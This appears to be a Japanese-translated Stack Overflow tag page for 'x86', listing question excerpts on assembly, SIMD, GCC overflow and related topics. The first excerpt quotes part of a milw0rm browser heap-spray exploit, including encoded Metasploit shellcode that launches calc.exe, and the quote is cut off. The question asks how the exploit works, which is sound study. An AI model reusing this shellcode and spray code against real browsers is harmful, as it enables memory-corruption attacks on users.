タグ付けされた質問 「x86」

x86は、Intel 8086 CPUから派生したアーキテクチャーです。x86ファミリには、32ビットのIA-32アーキテクチャと64ビットのx86-64アーキテクチャ、およびレガシー16ビットアーキテクチャが含まれています。後者に関する質問には、[x86-16]や[emu8086]のタグを付ける必要があります。質問が64ビットx86-64に固有の場合は、[x86-64]タグを使用します。x86 FPUの場合、タグ[x87]を使用します。SSE1 / 2/3/4の場合、AVX *も[sse]を使用し、[avx] / [avx2] / [avx512]のいずれかを適用します


7
このmilw0rmヒープスプレーエクスプロイトはどのように機能しますか?
私は通常、JavaScriptコードを読むのに困難はありませんが、このコードではロジックを理解できません。コードは4日前に公開されたエクスプロイトからのものです。あなたはでそれを見つけることができますmilw0rm。 これがコードです: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory …


5
x86 SIMD組み込みのヘッダーファイル
異なるx86 SIMD命令セット拡張(MMX、SSE、AVXなど)の組み込み機能を提供するヘッダーファイルはどれですか。そのようなリストをオンラインで見つけることは不可能のようです。私が間違っている場合は修正してください。

6
GCCを使用するx86で整数オーバーフローが無限ループを引き起こすのはなぜですか?
次のコードは、GCCの無限ループに入ります。 #include <iostream> using namespace std; int main(){ int i = 0x10000000; int c = 0; do{ c++; i += i; cout << i << endl; }while (i > 0); cout << c << endl; return 0; } だからここでの取り決めです:符号付き整数オーバーフローは技術的に未定義の動作です。しかし、x86上のGCCは、オーバーフローでラップするx86整数命令を使用して整数演算を実装します。 したがって、未定義の動作であるにもかかわらず、オーバーフローでラップすることを期待していました。しかし、明らかにそうではありません。それで私は何を逃したのですか? 私はこれを使ってこれをコンパイルしました: ~/Desktop$ g++ main.cpp -O2 GCC出力: ~/Desktop$ ./a.out 536870912 1073741824 …
129 c++  c  gcc  x86  undefined-behavior 

3
x86での「非一時的」メモリアクセスの意味は何ですか
これはやや低レベルの質問です。x86アセンブリには、2つのSSE命令があります。 MOVDQA xmmi, m128 そして MOVNTDQA xmmi, m128 IA-32ソフトウェア開発者マニュアルでは、MOVNTDQA のNTはNon-Temporalを表し、それ以外はMOVDQAと同じであると述べています。 私の質問は、非時間的とはどういう意味ですか?
123 x86  sse  assembly 


5
ESIおよびEDIレジスタの目的は?
アセンブラでのEDIおよびESIレジスタの実際の目的と使用法は何ですか? 私はそれらが文字列操作に使用されていることを知っています。 誰かも例を挙げられますか?
119 assembly  x86 


8
`testl` eax対eax?
いくつかのアセンブリを理解しようとしています。 次のようなアセンブリ、私はtestl行に興味があります: 000319df 8b4508 movl 0x08(%ebp), %eax 000319e2 8b4004 movl 0x04(%eax), %eax 000319e5 85c0 testl %eax, %eax 000319e7 7407 je 0x000319f0 とのtestl間のそのポイントを理解しよう%eaxとしてい%eaxますか?このコードの詳細は重要ではないと思います。テストをそれ自体で理解しようとしているだけです。値は常に真ではありませんか?

3
32ビットレジスタのx86-64命令が完全な64ビットレジスタの上位部分をゼロにするのはなぜですか?
ではインテルのマニュアルのx86-64のツアー、私が読んで おそらく最も驚くべき事実はMOV EAX, EBX、RAXレジスタなどの上位32ビットを自動的にゼロにするなどの命令です。 同じ出典で引用されているIntelのドキュメント(手動の基本アーキテクチャで64ビットモードの3.4.1.1汎用レジスター)は、次のように述べています。 64ビットのオペランドは、宛先の汎用レジスターで64ビットの結果を生成します。 32ビットのオペランドは32ビットの結果を生成し、デスティネーションの汎用レジスターで64ビットの結果にゼロ拡張します。 8ビットおよび16ビットのオペランドは、8ビットまたは16ビットの結果を生成します。デスティネーション汎用レジスタの上位56ビットまたは48ビットは、それぞれ操作によって変更されません。8ビットまたは16ビット演算の結果が64ビットのアドレス計算を目的としている場合は、明示的にレジスタを完全な64ビットに符号拡張します。 x86-32およびx86-64アセンブリでは、次のような16ビット命令 mov ax, bx eaxの上位ワードがゼロになるこの種の「奇妙な」動作を表示しないでください。 したがって、この動作が導入された理由は何ですか?一見すると論理的に見えないようです(ただし、x86-32アセンブリの癖に慣れているためかもしれません)。

11
Ubuntu 14.04 LTS(Trusty Tahr)にia32-libsをインストールする方法
昨日Ubuntu 14.04(Trusty Tahr)をインストールしました。すべてがOKのようです。しかし、Cコードをコンパイルしようとすると、次のエラーが発生します。このエラーは、32ビットアーキテクチャのサポートがないOSが原因であると思われます。エラー出力は次のとおりです。 /usr/bin/ld: i386 architecture of input file `./libsc.a(ftl_msg.o)' is incompatible with i386:x86-64 output /usr/bin/ld: i386 architecture of input file `./libsc.a(libsc_debug.o)' is incompatible with i386:x86-64 output /usr/bin/ld: i386 architecture of input file `./libsc.a(libsc_str.o)' is incompatible with i386:x86-64 output /usr/bin/ld: i386 architecture of input file `./libsc.a(libsc_cfg_common.o)' is incompatible with i386:x86-64 …
115 ubuntu  x86 

6
SSEスカラーsqrt(x)がrsqrt(x)* xより遅いのはなぜですか?
私はIntel Core Duoでいくつかのコア計算をプロファイリングしており、平方根へのさまざまなアプローチを検討しているときに、奇妙なことに気付きました:SSEスカラー演算を使用すると、逆平方根を取得して乗算する方が高速ですネイティブのsqrtオペコードを使用するよりも、sqrtを取得する方が便利です。 私はそれを次のようなループでテストしています: inline float TestSqrtFunction( float in ); void TestFunc() { #define ARRAYSIZE 4096 #define NUMITERS 16386 float flIn[ ARRAYSIZE ]; // filled with random numbers ( 0 .. 2^22 ) float flOut [ ARRAYSIZE ]; // filled with 0 to force fetch into L1 cache cyclecounter.Start(); for …

10
なぜx86は醜いのですか?他の人と比較して、なぜ劣っているのですか?[閉まっている]
現在のところ、この質問はQ&A形式には適していません。私たちは回答が事実、参考文献、または専門知識によってサポートされることを期待しますが、この質問はおそらく議論、議論、投票、または拡張された議論を誘います。この質問を改善でき、再開できると思われる場合は、ヘルプセンターにアクセスしてください。 8年前に閉鎖。 最近、私はいくつかのSOアーカイブを読んでいて、x86アーキテクチャに対するステートメントに遭遇しました。 サーバーとミニ/メインフレーム、ミックスコアに異なるCPUアーキテクチャが必要なのはなぜですか?言う 「PCアーキテクチャは混乱である、任意のOSの開発者はあなたにそれを言うだろう。」 アセンブリ言語を学ぶことは、努力する価値がありますか?(アーカイブ)は、 「 x86アーキテクチャはせいぜい恐ろしいものであることを理解している」と述べています。 x86アセンブラを学ぶ簡単な方法はありますか? 「ほとんどの大学はMIPSのようなものでアセンブリを教えています。理解するのがはるかに簡単だからです。x86アセンブリは本当に醜いです。」 のような多くのコメント 「ほとんどのアーキテクチャーと比較して、X86はかなりひどい。」 「X86がMIPS、SPARC、PowerPCよりも劣っているのは間違いなく従来の知識です」 「x86は醜い」 検索してみましたが、理由はわかりませんでした。これが私がよく知っている唯一のアーキテクチャであるため、x86が悪いとは思わない。 他の人と比較してx86を醜い/悪い/劣っていると考える理由を誰かが親切に教えてくれますか?

15
System.BadImageFormatException:ファイルまたはアセンブリを(installutil.exeから)ロードできませんでした
InstallUtil.exeを使用してWindowsサービスをインストールしようとすると、エラーメッセージが表示されます System.BadImageFormatException:ファイルまたはアセンブリ ' {xxx.exe}'またはその依存関係の1つを読み込めませんでした。不正な形式のプログラムを読み込もうとしました。 何ができますか? 編集:(OPによるものではありません)dupから抽出された完全なメッセージは、はるかに多くのヒットを得ています[グーグル性のために]: C:\ Windows \ Microsoft.NET \ Framework64 \ v4.0.30319> InstallUtil.exe C:\ xxx.exe Microsoft(R).NET Frameworkインストールユーティリティバージョン4.0.30319.1 Copyright(c)Microsoft Corporation。全著作権所有。 インストールの初期化中に例外が発生しました:System.BadImageFormatException:ファイルまたはアセンブリ 'file:/// C:\ xxx.exe'またはその依存関係の1つを読み込めませんでした。不正な形式のプログラムを読み込もうとしました。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.